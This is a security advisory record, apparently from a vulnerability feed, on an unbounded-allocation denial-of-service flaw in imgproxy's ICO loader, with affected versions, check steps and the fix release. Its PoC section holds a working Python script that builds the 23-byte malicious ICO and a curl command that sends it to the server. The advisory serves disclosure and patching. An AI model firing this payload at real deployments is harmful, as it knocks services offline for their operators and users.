---
id: "GHSA-mmq5-xm89-9pfg"
kind: "vulnerability"
aliases: ["GHSA-mmq5-xm89-9pfg"]
title: "imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field"
severity: "high"
cvss: 7.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/imgproxy/imgproxy/v3", "fixed": ["4.0.16"], "affected": ">= 3.3.0, <= 4.0.15", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-400", "image-processing", "imgproxy", "package", "self-hosted"]
not_affected_if: ["managed-hosting", "no-untrusted-images", "version-outside-range"]
published_at: "2026-10-30T22:55:49+00:00"
first_seen_at: "2026-10-30T22:56:53+00:00"
updated_at: "2026-10-30T22:58:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-mmq5-xm89-9pfg", "first_seen_at": "2026-10-30T22:56:53+00:00"}]
---

# imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field

imgproxy's ICO image loader passes an attacker-controlled size field straight into a memory allocation without checking it, so a single 23-byte ICO file makes a worker try to allocate about 4GB. Repeated requests can crash workers or exhaust host memory, causing denial of service.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/imgproxy/imgproxy/v3 affected >= 3.3.0, <= 4.0.15 fixed 4.0.16

## How to check

- Check the imgproxy version in use, for example `imgproxy -v` or the container image tag, and see whether it falls in `3.3.0` through `4.0.15`.
- If you run the Go module directly, check `go.mod` for `github.com/imgproxy/imgproxy/v3`.

## Fix

- imgproxy `4.0.16` (fixed version; the affected range is `3.3.0` through `4.0.15`).

## Timeline

- 2026-10-30T22:56:53+00:00 ghsa https://github.com/advisories/GHSA-mmq5-xm89-9pfg

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/imgproxy/imgproxy/security-advisories/GHSA-mmq5-xm89-9pfg
- [advisory] Maintainer's advisory: github.com https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg
- [fix] Patch: github.com https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917
- [fix] Release: github.com https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16

## From the sources

### Summary

Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.

### Details

In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:

```
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);

// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
```

There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.

### PoC

```py
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
```

```
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
#   decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
#   transiently — repeatable memory exhaustion).
```

### Impact

Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
